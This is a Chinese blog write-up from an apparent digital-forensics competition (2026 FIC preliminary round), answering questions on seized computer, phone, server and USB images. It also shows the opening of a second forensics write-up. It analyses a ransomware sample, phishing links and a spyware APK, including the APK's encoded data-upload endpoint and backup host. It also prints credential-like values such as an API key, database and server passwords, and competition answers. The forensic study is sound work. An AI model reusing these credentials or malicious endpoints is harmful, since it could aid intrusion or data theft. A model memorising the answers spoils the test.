      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>手机里存的vc密码：</p><p><img alt="取证比赛wp/assets/2026FIC初赛/f57a53854a8bf0faa242b08a47dc177c_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-001-fd55881714.png"/></p><h1 id="计算机部分">计算机部分</h1><h2 id="1分析计算机检材操作系统版本号为">1、分析计算机检材，操作系统版本号为</h2><p>23.1</p><p><img alt="取证比赛wp/assets/2026FIC初赛/e3648592a7fffee2fdef6c705baa4932_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-002-1092cad81a.png"/></p><h2 id="2分析计算机检材李安弘曾收到一份免费领取token的邮件的疑似钓鱼邮件其发送用户邮箱为">2、分析计算机检材，李安弘曾收到一份免费领取token的邮件的疑似钓鱼邮件，其发送用户邮箱为</h2><p>hf13338261292@outlook.com</p><p><img alt="取证比赛wp/assets/2026FIC初赛/70fe7eefd8cb1e3619741eb5ed3de7bb_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-003-5805c0bf3e.png"/></p><h2 id="3分析计算机检材李安弘电脑中记录的黄金换现金的商家联系方式为">3、分析计算机检材，李安弘电脑中记录的黄金换现金的商家联系方式为</h2><p>13612817854</p><p><img alt="取证比赛wp/assets/2026FIC初赛/3decf06a3a4ff120eac52e0395b4e23f_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-004-d90fe3daeb.png"/></p><h2 id="4分析计算机检材推广设计图中的apk下载链接为">4、分析计算机检材，推广设计图中的apk下载链接为</h2><p><a href="https://drive.google.com/file/d/1z3aRS-lkaJYKm7Cp1XjtUmVPsOEVW2fV/view?usp=sharing" rel="noopener nofollow" target="_blank">https://drive.google.com/file/d/1z3aRS-lkaJYKm7Cp1XjtUmVPsOEVW2fV/view?usp=sharing</a></p><p><img alt="取证比赛wp/assets/2026FIC初赛/22ef67d48b40a6d0205ff5a21bf66b79_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-005-3f6bb22512.png"/></p><h2 id="5分析计算机检材李安弘电脑vpn软件开放的代理端口为">5、分析计算机检材，李安弘电脑vpn软件开放的代理端口为</h2><p>9527</p><p>*** Verge 配置里 mixed-port: 9527</p><h2 id="6分析计算机检材李安弘电脑中ai软件当前使用的模型类型为">6、分析计算机检材，李安弘电脑中AI软件当前使用的模型类型为</h2><p>OpenRouter</p><p><img alt="取证比赛wp/assets/2026FIC初赛/b899177608046a8c6d1399f0172a3286_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-006-d0cd517c33.png"/></p><h2 id="7分析计算机检材李安弘电脑中ai软件当前使用的模型apikey为">7、分析计算机检材，李安弘电脑中AI软件当前使用的模型apiKey为</h2><p>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</p><h2 id="8分析计算机检材李安弘电脑中勒索软件提供的解密服务联系方式为">8、分析计算机检材，李安弘电脑中勒索软件提供的解密服务联系方式为</h2><p>zhenyiexin@tutanota.com</p><p>证据链：</p><ul><li><p>浏览器历史访问过 z583985166/0.0.0 的 GitHub Release，标题是 get_token_linux。</p></li><li><p>Release 里的 get_token_windows.exe 与本地样本 SHA256 完全一致：fa5352641a34411795afa2bc84a1e58f24718c0253b2cf11ee6faabd89a31404。</p></li><li><p>反汇编 main.main：程序先匹配 *.mp4，逐个调用 main._a 处理，随后构造并输出字符串： 解密请 联系zhenyiexin@tutanota.com</p></li></ul><h2 id="9分析计算机检材李安弘电脑中记录的存放黄金的保险柜编号是">9、分析计算机检材，李安弘电脑中记录的存放黄金的保险柜编号是</h2><p>997546</p><p><img alt="取证比赛wp/assets/2026FIC初赛/cdf247663b0cec2fe142323a8e9355dd_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-007-b5755b5f70.png"/></p><p>vc解开看视频，get_token_linux 是一个 Go 写的 MP4 修复/解密工具，反汇编后确认 MP4 的 stco 偏移被扰乱了 1337 字节，恢复即可</p><h2 id="10分析计算机检材李安弘电脑中记录的保险柜密码是">10、分析计算机检材，李安弘电脑中记录的保险柜密码是</h2><p>583985</p><ol><li><p>线索文件为：保险箱的秘密.et</p></li><li><p><code>分区7\root\文档\zhongyao\保险箱的秘密.et</code></p></li><li><p>该 .et 文件是 WPS 表格，内容为空，但隐藏了大量形状对象。结合 WPS 自动备份和宏脚本可知，形状 AlternativeText 里藏了点阵编码。解出来baoxiangmima:583985</p></li></ol><h1 id="手机部分">手机部分</h1><h2 id="1分析手机检材该手机型号为">1、分析手机检材，该手机型号为</h2><p><img alt="取证比赛wp/assets/2026FIC初赛/2b45dc120558c3e8ec90f3f1af8ff9aa_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-008-72ffdc41fa.png"/></p><h2 id="2分析手机检材李安弘手机计划前往迪拜的日期是">2、分析手机检材，李安弘手机计划前往迪拜的日期是</h2><p>李安弘手机里“计划前往迪拜”的日期是 2026年6月6日。直接证据来自待办数据库 todo.db，命中内容为：2026.06.06 乘坐飞机去 dubai。这条待办的创建时间是 2026-04-16 11:30:00，最后修改时间是 2026-04-16 15:11:51。</p><h2 id="3分析手机检材李安弘手机中与网站搭建人员沟通所使用的app安装日期为">3、分析手机检材，李安弘手机中与网站搭建人员沟通所使用的app安装日期为</h2><p>猜测</p><p><img alt="取证比赛wp/assets/2026FIC初赛/cd5c08e8135d5ab710c6e0f908dadf6a_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-009-49befaf627.png"/></p><p><img alt="取证比赛wp/assets/2026FIC初赛/59aa7b4119ed03f3bf49fb5a8ea5d5b6_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-010-04ab9e475b.png"/></p><h2 id="4分析手机检材李安弘手机中与网站搭建人员沟通所使用的app存放聊天数据的数据库为">4、分析手机检材，李安弘手机中与网站搭建人员沟通所使用的app，存放聊天数据的数据库为</h2><h2 id="5分析手机检材存放聊天数据的数据库的解密密码为">5、分析手机检材，存放聊天数据的数据库的解密密码为</h2><h2 id="6分析手机检材李安弘购买云服务器商家的收款备用钱包地址为">6、分析手机检材，李安弘购买云服务器商家的收款备用钱包地址为</h2><p>李安弘购买云服务器商家的收款备用钱包地址为：</p><p>TN8vQzB3n7W5wVca9W4kL2wP7xY9zM5nU1</p><p>依据是已解密聊天库 wk_main_decrypted.db 中会话 c5e0f4afea09370702f943e7cfcef741 的消息内容：</p><p>“转账唯二地址 TK7mR3hS8vY7tY1nZ4kL9otSzgjLj6tP8v, 备用转账地址：TN8vQzB3n7W5wVca9W4kL2wP7xY9zM5nU1”。</p><h2 id="7分析手机检材李安弘手机中给网站搭建人员第一次转账的交易hash前6位为">7、分析手机检材，李安弘手机中给网站搭建人员第一次转账的交易hash前6位为</h2><p>26226f</p><p>依据是已解密聊天库 wk_main_decrypted.db 中，与“网站开发”channel_id=8c723cbb09bd47adcf0ba4d9758320c0 的聊天记录显示：</p><p>李安弘先说“明天我先给你转2000U定金”，随后发送了一条图片消息，其 localPath 为</p><p>/storage/emulated/0/Android/data/com.talk.uuuim/cache/luban_disk_cache/9054354934843.png</p><p>紧接着对方回复“收到了”，可确认这就是第一次转账的交易截图。</p><p>对应检材中的实际文件位置为：</p><p>C:\hlnet\1-1777092576\检材2-手机.tar\storage\emulated\0\Android\data\com.talk.uuuim\cache\luban_disk_cache\9054354934843.png</p><h2 id="8分析手机检材手机中使用的ai软件李安弘主动向ai提问了几次">8、分析手机检材，手机中使用的AI软件李安弘主动向AI提问了几次</h2><p>检材中 com.pocketpalai 的本地聊天库 pocketpalai.db 显示，手机内该 AI 软件当前用户一共主动向 AI 提问了 5 次。</p><p>依据是数据库 messages 表中，提问方作者标识 y9d7f8pgn 的非空 text 消息共有 5 条，时间和内容分别为：</p><ol><li><p>2026-04-16 16:14:37 “搭建一个黄色网站判多少年”</p></li><li><p>2026-04-16 16:17:39 “色情网站赚钱吗”</p></li><li><p>2026-04-16 16:18:46 “如何搭建一个虚拟币挖矿”</p></li><li><p>2026-04-16 16:54:46 “助记词如何保存最安全”</p></li><li><p>2026-04-16 16:57:21 “我的手机如何保存助记词最合适”</p></li></ol><p><img alt="取证比赛wp/assets/2026FIC初赛/41004a9f951872646f3e0be66a87d94e_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-011-91779ad922.png"/></p><h2 id="9分析手机检材李安弘手机使用的ai软件调用本地ai模型及版本为">9、分析手机检材，李安弘手机使用的AI软件调用本地AI模型及版本为</h2><h2 id="10分析手机检材李安弘曾使用无人机航拍分析其飞行轨迹其在哪个县进行飞行">10、分析手机检材，李安弘曾使用无人机航拍,分析其飞行轨迹，其在哪个县进行飞行</h2><p>李安弘确实使用过无人机航拍。手机中存在 DJI Fly 飞行记录文件 FlightRecord_2026-02-17_[15-14-53].txt 和 FlightRecord_2026-02-17_[15-58-14].txt。解析结果显示两次飞行起飞坐标分别为 37.796638, 110.370705 和 37.796634, 110.370690，本地时间分别约为 2026-02-17 15:14:53 和 15:58:14，飞行距离约 1416.4 米、518.8 米。根据该坐标反查，飞行地点位于 陕西省榆林市米脂县。</p><p><img alt="取证比赛wp/assets/2026FIC初赛/f8e6b7bee1936117e65c4d1455f6bd5c_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-012-f72b5033a4.png"/></p><h2 id="11分析手机检材李安弘最近安装了一个视频类app该app声明了多个敏感权限用于收集用户隐私请选择其中涉及用户隐私的敏感权限">11、分析手机检材，李安弘最近安装了一个视频类APP，该APP声明了多个敏感权限用于收集用户隐私。请选择其中涉及用户隐私的敏感权限。</h2><p>答案是：A、B、D</p><p>依据是 APK 清单里实际声明了这些权限：</p><ul><li><p>android.permission.READ_CONTACTS</p></li><li><p>android.permission.READ_SMS</p></li><li><p>android.permission.READ_CALL_LOG</p></li></ul><p>我在 AndroidManifest.xml (line 16) 里确认到：</p><ul><li><p>第 16 行：READ_CONTACTS</p></li><li><p>第 17 行：READ_SMS</p></li><li><p>第 18 行：READ_CALL_LOG</p></li><li><p>第 25 行：RECEIVE_BOOT_COMPLETED</p></li></ul><p>所以选项判断是：</p><ul><li><p>A. READ_CONTACTS：是</p></li><li><p>B. READ_SMS：是</p></li><li><p>C. RECEIVE_BOOT_COMPLETED：不是“收集用户隐私”的读取类权限</p></li><li><p>D. READ_CALL_LOG：是</p></li><li><p>E. SEND_SMS：清单里没有声明</p></li></ul><p>如果你愿意，我可以继续帮你把这题扩展做一下，看看这个 APK 里这些隐私权限具体是在哪里被调用的。</p><h2 id="12上述app启动后会加载一个色情网站请找出该app当网络不可用时app加载的本地离线页面路径">12、上述APP启动后会加载一个色情网站。请找出该APP当网络不可用时APP加载的本地离线页面路径。</h2><p>当网络不可用时，APP 加载的本地离线页面路径是：</p><p>file:///android_asset/www/index.html</p><p>我在 MainActivity.java (line 96) 里确认到这段逻辑：</p><ul><li><p>有网时：<a href="https://www.sp-live88.com" rel="noopener nofollow" target="_blank">https://www.sp-live88.com</a></p></li><li><p>无网时：file:///android_asset/www/index.html</p></li></ul><h2 id="13上述app将非法收集的用户隐私数据上传至远程服务器上传地址在代码中经过编码处理请找出编码方式还原出完整的上传服务器url">13、上述APP将非法收集的用户隐私数据上传至远程服务器。上传地址在代码中经过编码处理。请找出编码方式，还原出完整的上传服务器URL。</h2><p>编码方式是 Base64。</p><p>我在 DataUploader.java (line 47) 里看到它把这段字符串：</p><p>aHR0cHM6Ly9hcGkuc3AtbGl2ZTg4LmNvbS9jb2xsZWN0L3VzZXJkYXRh</p><p>通过 Base64.decode(...) 解码后作为上传地址使用。还原后的完整上传服务器 URL 是：</p><p><a href="https://api.sp-live88.com/collect/userdata" rel="noopener nofollow" target="_blank">https://api.sp-live88.com/collect/userdata</a></p><p>补充一点，代码里还有一个 native 备用地址分支：</p><p>DataUploader.java (line 51)</p><p>它会调用 getBackupEndpoint()，再拼上 /collect/userdata。但题目里“代码中经过编码处理”的这条主上传地址，明确就是上面这个 Base64 解出的 URL。</p><h2 id="14该app在本地创建了sqlite数据库存储收集到的用户信息请分析代码写出用于存储用户信息的表名">14、该APP在本地创建了SQLite数据库存储收集到的用户信息。请分析代码，写出用于存储用户信息的表名</h2><p>用于存储用户信息的表名是：</p><p>user_collection</p><p>依据在 C0521a.java (line 33)：</p><ul><li>建表语句：CREATE TABLE IF NOT EXISTS user_collection (...)</li></ul><p>并且在 C0521a.java (line 27) 还能看到实际插入：</p><ul><li>writableDatabase.insert("user_collection", null, contentValues);</li></ul><h2 id="15该app的assets目录中存在一个加密配置文件configdat请解密该文件写出其中的usdt钱包地址">15、该APP的assets目录中存在一个加密配置文件config.dat。请解密该文件，写出其中的USDT钱包地址</h2><h2 id="16该app前端js代码可以直接调用android原生方法获取用户隐私数据请分析暴露了哪些方法用于获取通讯录">16、该APP前端JS代码可以直接调用Android原生方法获取用户隐私数据。请分析暴露了哪些方法用于获取通讯录？</h2><p>getContactsList()</p><p>我在 NativeBridge.java (line 20) 里确认到它通过 @JavascriptInterface 暴露给前端 JS，内部查询的是：</p><ul><li>ContactsContract.CommonDataKinds.Phone.CONTENT_URI</li></ul><h2 id="17当主上传服务器不可达时app会获取备用服务器地址请分析备用服务器的完整域名和端口">17、当主上传服务器不可达时，APP会获取备用服务器地址。请分析备用服务器的完整域名和端口</h2><p>backup.sp-live88.xyz:8443</p><p>这个是我从 libsecurity.so 的 getBackupEndpoint() 解密还原出来的。Java 层在 DataUploader.java (line 51) 里会在主服务器不可达时调用它，再拼接 /collect/userdata。</p><h1 id="服务器部分">服务器部分</h1><p>直接火眼内就仿真成功了</p><p>注意这里勾选两个磁盘</p><p><img alt="取证比赛wp/assets/2026FIC初赛/782db0dc345e32465c6c6bec22eb42e1_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-013-5e93575795.png"/></p><p><img alt="取证比赛wp/assets/2026FIC初赛/0e577db24ecd9d0c64bce35af5ed1f27_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-014-4e97e2ccbc.png"/></p><p>需要打开这两个以用root身份连接服务器</p><h2 id="1该服务器主机操作系统版本为">1、该服务器主机操作系统版本为</h2><p>进入虚拟机后查看系统版本：</p><pre><code class="language-Bash">cat /etc/os-releaseuname -a</code></pre><p><code>/etc/os-release</code> 显示 <code>PRETTY_NAME="Debian GNU/Linux 13 (trixie)"</code>，所以答案为 Debian GNU/Linux 13 (trixie)。</p><h2 id="2该服务器根分区硬盘的uuid号为">2、该服务器根分区硬盘的uuid号为</h2><p>查看挂载和块设备信息：</p><pre><code class="language-Bash">cat /etc/fstabblkid /dev/md0</code></pre><p><code>/etc/fstab</code> 中根分区为：</p><pre><code class="language-Plain">UUID=3231e52f-5e15-44c4-b224-e29cb4201c0e / btrfs defaults,subvol=@rootfs 0 0</code></pre><p>因此根分区 UUID 为 <code>3231e52f-5e15-44c4-b224-e29cb4201c0e</code>。</p><h2 id="3该服务器中最新的docker镜像创建时间为">3、该服务器中最新的docker镜像创建时间为</h2><pre><code class="language-Bash">docker images --format '&#123;&#123;.Repository&#125;&#125;|&#123;&#123;.Tag&#125;&#125;|&#123;&#123;.ID&#125;&#125;|&#123;&#123;.CreatedAt&#125;&#125;|&#123;&#123;.Size&#125;&#125;'</code></pre><p>最新镜像为 <code>u22:latest</code>，创建时间为 <code>2026-04-16 03:15:50 -0400 EDT</code>。</p><h2 id="4该服务器根分区快照路径为">4、该服务器根分区快照路径为</h2><p>根分区为 Btrfs，查看子卷：</p><pre><code class="language-Bash">btrfs subvolume list /</code></pre><p>发现：</p><pre><code class="language-Plain">ID 257 gen 4377 top level 256 path root/history</code></pre><p>对应系统路径为 <code>/root/history</code>。</p><h2 id="5该网站后台管理入口对应的文件名为">5、该网站后台管理入口对应的文件名为</h2><p>网站目录为 <code>/var/www/html/maccms10</code>。检查入口文件：</p><pre><code class="language-Bash">ls /var/www/html/maccms10sed -n '1,80p' /var/www/html/maccms10/user.php</code></pre><p><code>user.php</code> 中定义了后台入口相关常量，答案为 <code>user.php</code>。</p><h2 id="6该网站设置的icp备案号为">6、该网站设置的icp备案号为</h2><p>站点配置文件：</p><pre><code class="language-Bash">grep -n "site_icp\|site_url" /var/www/html/maccms10/application/extra/maccms.php</code></pre><p>得到：</p><pre><code class="language-PHP">'site_icp' =&gt; 'icp1919810''site_url' =&gt; 'www.2026fic.forensix'</code></pre><p>所以 ICP 为 <code>icp1919810</code>，主域名为 <code>www.2026fic.forensix</code>。</p><h2 id="7该网站设置的主域名为">7、该网站设置的主域名为</h2><p>同上题</p><h2 id="8该网站分类3中视频的拼音为">8、该网站分类3中，视频的拼音为</h2><p>连接网站数据库 <code>mac2</code>，查询分类 3 下视频：</p><pre><code class="language-SQL">select vod_id,type_id,type_id_1,vod_name,vod_en,hex(vod_name)from mac_vodwhere type_id=3 or type_id_1=3;</code></pre><p>结果中 <code>vod_en</code> 为 <code>sipaanshe</code>。</p><h2 id="9该站点设置页面中被使用的前端模板来自于哪个源文件">9、该站点设置页面中，被使用的前端模板来自于哪个源文件？</h2><h2 id="10该网站的伪静态规则配置文件sm3值为">10、该网站的伪静态规则配置文件sm3值为</h2><p>该站点使用 Nginx，伪静态规则在：</p><pre><code class="language-Plain">/etc/nginx/sites-available/default</code></pre><p>文件内包含：</p><pre><code class="language-Nginx">rewrite ^/index.php(.*)$ /index.php?s=$1 last;rewrite ^/user.php(.*)$ /user.php?s=$1 last;rewrite ^/api.php(.*)$ /api.php?s=$1 last;rewrite ^(.*)$ /index.php?s=$1 last;</code></pre><p>计算 SM3：</p><pre><code class="language-Bash">openssl dgst -sm3 /etc/nginx/sites-available/default</code></pre><p>得到：</p><pre><code class="language-Plain">e73407468e6f52af54c7b14632eeeb9be25b05106d06c4c3085fc843c223793f</code></pre><h2 id="11该网站关联的数据库的ip地址为">11、该网站关联的数据库的ip地址为</h2><p>网站数据库配置：</p><pre><code class="language-Bash">cat /var/www/html/maccms10/application/database.phpcat /etc/hostslxc-ls -f</code></pre><p>配置中数据库主机为 <code>mytidb</code>，<code>/etc/hosts</code> 解析为 <code>10.0.3.100 mytidb</code>。<code>lxc-ls -f</code> 显示 <code>mytidb</code> 是运行中的 LXC 容器。因此数据库 IP 为 <code>10.0.3.100</code>，容器技术为 LXC。</p><h2 id="12该网站数据库使用了哪一类容器技术">12、该网站数据库使用了哪一类容器技术</h2><p>同上题</p><h2 id="13运行在4000端口的备份数据库版本号为">13、运行在4000端口的备份数据库版本号为</h2><p>连接 4000 端口执行：</p><pre><code class="language-SQL">select version();</code></pre><p>返回：</p><pre><code class="language-Plain">8.0.11-TiDB-v7.5.0</code></pre><h2 id="14新注册用户数量最多的日期为">14、新注册用户数量最多的日期为</h2><p>查询用户注册日期统计：</p><pre><code class="language-SQL">select from_unixtime(user_reg_time,'%Y-%m-%d') d,count(*) cfrom mac_usergroup by dorder by c desc,d asclimit 20;</code></pre><p>结果第一行为：</p><pre><code class="language-Plain">2026-04-15    36386</code></pre><p>所以日期为 <code>2026-04-15</code>。</p><h2 id="15马慧美最后一次登录该网站的ip为">15、马慧美最后一次登录该网站的ip为</h2><p>用户表中姓名使用拼音，精确查询：</p><pre><code class="language-SQL">select user_id,user_name,       inet_ntoa(user_login_ip),from_unixtime(user_login_time),       inet_ntoa(user_last_login_ip),from_unixtime(user_last_login_time)from mac_userwhere lower(user_name)='ma hui mei';</code></pre><p>结果：</p><pre><code class="language-Plain">4236  Ma Hui Mei  240.12.18.80  2026-04-14 23:31:04  51.43.21.163  2026-04-15 19:51:41</code></pre><p>题面问最后一次登录 IP，取 <code>user_last_login_ip</code>，答案为 <code>51.43.21.163</code>。</p><h2 id="16以下哪个文件系统未被使用">16、以下哪个文件系统未被使用</h2><p>检查块设备、挂载和 LVM：</p><pre><code class="language-Bash">lsblk -ffindmnt -no FSTYPE,TARGET,SOURCE | sort -ublkidpvs; vgs; lvs</code></pre><h2 id="17该服务器安装了以下那些数据库服务">17、该服务器安装了以下那些数据库服务</h2><p>检查服务、进程和端口：</p><pre><code class="language-Bash">systemctl --type=service | grep -Ei 'mysql|mariadb|postgres|tidb|tikv|pd|tiflash'ss -lntp | grep -Ei '3306|4000|5432|2379|20160|3930'ps aux | grep -Ei 'mysqld|postgres|tidb|tikv|pd-server|tiflash'</code></pre><p>发现：</p><ul><li><p>主机运行 PostgreSQL 17，监听本机 5432。</p></li><li><p>LXC 容器 <code>mytidb</code> 内运行 MySQL 8.0.45，监听 3306。</p></li><li><p>同一容器内运行 TiDB 集群组件，4000 端口返回 <code>8.0.11-TiDB-v7.5.0</code>。</p></li></ul><p>所以安装/运行的数据库服务为 PostgreSQL、MySQL、TiDB。</p><h1 id="互联网部分">互联网部分</h1><h2 id="1售卖卡密的公开群组id为">1、售卖卡密的公开群组ID为</h2><p>我认为最值得直接引用的证据</p><ul><li><p>站点根目录：/var/www/html/maccms10</p></li><li><p>域名：www.2026fic.forensix</p></li><li><p>联系邮箱：lianhong@forensix.cn</p></li><li><p>卡密/支付引流地址：<a href="https://t.me/FIC_2026" rel="noopener nofollow" target="_blank">https://t.me/FIC_2026</a></p></li><li><p>数据库连接： mytidb / mac2 / aa / 123456</p></li></ul><h2 id="2备份数据库中视频图片的文件名为">2、备份数据库中视频图片的文件名为</h2><h2 id="3ngrok提供的域名为">3、ngrok提供的域名为</h2><h1 id="二进制程序部分">二进制程序部分</h1><h2 id="1分析u盘检材找到其中保存的加密程序samplevcexe请给出这个exe程序的md5值">1、分析u盘检材，找到其中保存的加密程序SampleVC.exe，请给出这个exe程序的md5值？</h2><p>764789dd9c095d74b6b258cf0f7568b2</p><p><img alt="取证比赛wp/assets/2026FIC初赛/851273f1bdb29cb55ff0cd252ead9df8_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-015-7eef8002d0.png"/></p><h2 id="2分析samplevcexe该程序编译的日期可能是什么">2、分析SampleVC.exe，该程序编译的日期可能是什么？</h2><p>编译日期：2026-04-17</p><h2 id="3分析samplevcexe正确的密码是什么">3、分析SampleVC.exe，正确的密码是什么？</h2><p>正确密码：PleaseRunAsAdmin</p><h2 id="4分析u盘检材利用samplevc1234exe解密u盘中被加密的文件解密后的文件的后缀是什么">4、分析u盘检材，利用SampleVC1234.exe解密U盘中被加密的文件，解密后的文件的后缀是什么？</h2><p>vhd</p><h2 id="5分析u盘检材找到被加密的交易记录统计李安弘虚拟币收款地址钱包总收款金额为">5、分析u盘检材，找到被加密的交易记录，统计李安弘虚拟币收款地址钱包总收款金额为</h2><p>李安弘虚拟币收款地址钱包总收款金额：186948.09</p><p><img alt="取证比赛wp/assets/2026FIC初赛/de8145143bf80ef1cb6436137fc00328_MD5.png" loading="lazy" src="/blog/img/cnblogs/19933435/image-016-892484f8ca.png"/></p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/04/26/2026-04-26-cnblogs-19933435-2026FIC%E5%88%9D%E8%B5%9B/</id>
    <link href="https://joyooosama.github.io/blog/2026/04/26/2026-04-26-cnblogs-19933435-2026FIC%E5%88%9D%E8%B5%9B/"/>
    <published>2026-04-26T11:21:00.000Z</published>
    <summary>手机里存的vc密码： 计算机部分 1、分析计算机检材，操作系统版本号为 23.1 2、分析计算机检材，李安弘曾收到一份免费领取token的邮件的疑似钓鱼邮件，其发送用户邮箱为 hf13338261292@outlook.com 3、分析计算机检材，李安弘电脑中记录的黄金换现金的商家联系方式为 136</summary>
    <title>2026FIC初赛</title>
    <updated>2026-04-26T11:21:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p><code>密码：9sK2$pR5#gT7!bN3&amp;qF3@zQ6=wE8*yU0aS4dF7gH2jK5aZ9xC2vB6nM0</code></p><p><img alt="assets/某验证/15ad916a9dd08ae3c8078cb3b27cf053_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-001-be8ea7f07c.png"/></p><ol><li><p><code>请计算样品文件“检材A-计算机.vmdk”文件的SHA1值，写出前8位。(答案格式：字母大写) 计算机取证分析</code></p><p><code>E53E10F0</code></p><p><img alt="assets/某验证/6df43f9dd2f143b05310c8e96fdf4df2_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-002-e34696c6c9.png"/></p></li><li><p><code>列出检验过程中使用的方法标准和软硬件工具；(标准需包含编号，软件设备需包含版本号) 计算机取证分析</code></p></li><li><p><code>分析计算机检材，嫌疑人将文件“BitLocker 恢复密钥 9696CE55-E545-4549-AB43-21A358C4E89B.TXT”保存至哪个外接设备上？写出该设备的序列号前十位。(答案格式：遇字母小写) 计算机取证分析</code></p><p><code>04012bc9e2</code></p><p><img alt="assets/某验证/c02b6f899cd834a5db106ddde0b04ac5_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-003-7d225cf0c3.png"/></p></li></ol><p><img alt="assets/某验证/79e3ee0bc6a493f2d4bd4a128b359998_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-004-341480f79f.png"/></p><p><img alt="assets/某验证/6edff76bd9422a69ee819e410f6b2311_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-005-b7bbf6a7dd.png"/></p><ol start="4"><li><code>分析计算机检材，嫌疑人知乎账号的密码是多少？计算机取证分析</code></li></ol><p><code>lee@789456</code></p><p><img alt="assets/某验证/145ad3c552a2bc7c964864eb139ef800_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-006-39dc807f15.png"/></p><ol start="5"><li><p><code>分析计算机检材，嫌疑人在2026-03-05 14:43使用AI智能工作台进行了什么标题内容的话题？(答案格式：按实际值填写) 计算机取证分析</code></p><p><code>人脸动作迁移</code></p><p><img alt="assets/某验证/92ddee93acca7fe9d0627ace5aa5cb72_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-007-3d41f732dc.png"/></p></li><li><p><code>分析计算机检材，嫌疑人将非法获得的大量用户信息存储在某一容器中，请找到该容器，写出容器解密密码。(答案格式：按实际值填写) 计算机取证分析</code></p><p><code>zheshiyigerongqimima6bu6!!!</code></p><p><img alt="assets/某验证/b7680cee0708ce6bbc2300df8d63a5da_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-008-5b264c530c.png"/></p><p><img alt="assets/某验证/cb149c441013f29f890593da8711891a_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-009-7019087f7f.png"/></p></li><li><p><code>接上题，容器中，有一Python脚本，请分析该脚本在运行时向接码平台获取黑号的函数名是？(答案格式：按实际值填写) 计算机取证分析</code></p><p><code>step1_get_fake_number</code></p><p><img alt="assets/某验证/9487e7ea1fd54e36bf5f23fa45e86596_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-010-170f5f0a4e.png"/></p></li><li><p><code>分析计算机检材，找到嫌疑人通过邮件发送的“工具.exe”附件文件，计算其SHA1值，写出前8位。(答案格式：字母大写) 计算机取证分析</code></p><p>68C6BA3C</p><p><img alt="assets/某验证/988d04bb64306d1107ae32fec8c42f4f_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-011-a76838b4d9.png"/></p><p><img alt="assets/某验证/8aa61c5ae2e3afe32ec65bd1c7d0f86a_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-012-b14599b8d9.png"/></p></li></ol><p><img alt="assets/某验证/7aab7f2de9a6dadf2dd65f3ef8598a3f_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-013-8be34347ac.png"/></p><ol start="9"><li><code>分析计算机检材，找到嫌疑人曾经伪造的邮件，找到正文中的“点此进入”链接，提取其真实的 href 目标URL。(答案格式：http://...) 计算机取证分析</code></li></ol><p><a href="http://aq.qq-s029-login.com/index.php" rel="noopener nofollow" target="_blank">http://aq.qq-s029-login.com/index.php</a></p><p><img alt="assets/某验证/7658565a840c41d1b1c2b6fb729da6b8_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-014-e71ff378b2.png"/></p><ol start="10"><li><p><code>分析计算机检材，找到嫌疑人曾远程连接过服务器，请写出该服务器root用户的连接密码？计算机取证分析</code></p><p><code>123</code>568</p><p><img alt="assets/某验证/993a46b2e0592bddcfc0fbf4dc03dfc7_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-015-1c19365124.png"/></p></li><li><p><code>分析手机检材，嫌疑人在2025年11月24日去了哪个城市？(答案格式：上海市) 移动终端取证分析</code></p><p><code>连云港市</code></p><p><code>找11月24日拍的图片，然后看exif</code></p><p><img alt="assets/某验证/19fcda0b8c20005e5e357236a8782353_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-016-c078d62ab2.png"/></p></li><li><p><code>分析手机检材，嫌疑人曾使用社交账号找人帮助洗钱，并发送过一个包含其虚拟币账号的压缩包文件，请找到该压缩包文件，计算其SHA1值，并写出前8位。(答案格式：字母大写) 移动终端取证分析</code></p><p><code>B0E02773</code></p><p><img alt="assets/某验证/73bbb457dcd14d125d2f520a6fa96c2a_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-017-3e6e8881e7.png"/></p><p><img alt="assets/某验证/0985f8df8f0595d246779a19650acebb_MD5.png" loading="lazy" src="/blog/img/cnblogs/19867783/image-018-5d029b9028.png"/></p></li><li><p><code>接上题，从该压缩包中找到嫌疑人用于洗钱的虚拟币账户，请写出其前8位。(答案格式：字母小写，如0x1c2b3a) 移动终端取证分析</code></p><p><code>0x9c4e6b</code></p><p><img alt="assets/某验证/c62369dee815a6365dec0f2c2ce87cc2_MD5.png" loading="lazy" 